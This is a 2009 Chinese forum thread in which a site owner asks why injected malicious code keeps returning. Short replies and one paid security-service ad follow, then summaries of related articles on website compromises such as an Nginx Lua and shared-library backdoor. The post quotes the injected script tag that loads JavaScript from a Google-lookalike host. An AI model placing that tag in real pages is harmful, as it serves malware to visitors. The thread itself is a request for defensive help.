我的网站被挂马了！每次删除后，过几天就又出现了？

zhlxyj 2009-03-06 02:37:27

我的网站被挂马了！每次删除后，过几天就又出现了？首页被加入的代码如下“<script language="javascript" src="http://googl.ch.ma/office.js?google_ad_format=728x90_as&google_ad_type=text_image"></script><script language="javascript" src="http://googl.ch.ma/office.js?google_ad_format=728x90_as&google_ad_type=text_image">”
高手们，帮帮我啊！

...全文

156 5 打赏收藏转发到动态举报

写回复

5 条回复

切换为时间正序

请发表友善的回复…

发表回复

dunhil 2010-07-13

打赏
举报

回复

检查自己网站的js看看

s83879348 2010-07-05

打赏
举报

回复

都打起广告来了

rainsnow39 2009-07-02

打赏
举报

回复

网站存在漏洞哦，唯一的办法—不停的删，要么就查下漏洞在哪里，及时修补。

heyisheng 2009-06-22

打赏
举报

回复

这问题很严重，很明显是网站存在漏洞而被攻击了，若需要安全技术服务请联系EMAIL & MSN：yisheng@hotmail.com， 7X24 为您的网站和服务器保驾护航。

博主两年前用WordPress搭建的网站被黑，百度收录页面的title和description被篡改，但实际页面正常。通过服务器日志排查不可行后，使用“user - agent - switcher”工具模拟百度爬虫，发现问题出在useragent上。按WordPress文件执行顺序找到被修改的index.php文件，删除篡改代码后重新提交百度，问题解决。

本文讲述了作者在处理网站被挂马的问题时遇到的挑战，包括新增的index.html文件、隐藏的木马文件以及PHP文件无法访问的问题。通过使用宝塔杀毒、D盾、火绒等工具进行清理，并查找隐藏文件，最终发现了.py文件可能是Python木马。作者建议检查老旧系统源码，防止后门导致的安全问题。

作者帮朋友处理网站问题，该网站从搜索引擎打开会跳转到色情网站。经排查，排除服务器病毒、网关问题，最终发现是网站根目录下多了Global.asa文件导致。删除该文件可解决问题，但第二天文件又出现，怀疑是Host商问题。

博客详细披露了一次Nginx服务器遭恶意入侵事件：攻击者通过篡改/etc/init.d/nginx脚本，下载并加载恶意Lua模块，利用rewrite_by_lua_block实现UA感知的定向跳转（手机端10%概率劫持）；同时注入动态库libnss_http.so.2，实现签名验证的远程命令执行，并绕过安全软件检测。文中还揭示了chattr +i隐藏、时间戳混淆、卸载宝塔防入侵模块等高级对抗手法。

一客户反映其网站因恶意软件被Google广告拒登并出现跳转问题。经安全公司检测，发现WordPress系统遭篡改，存在跳转代码及木马后门。通过修复漏洞、清除恶意代码，最终解决了网站被拒登的问题。

图象工具使用

1,451

社区成员

24,331

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章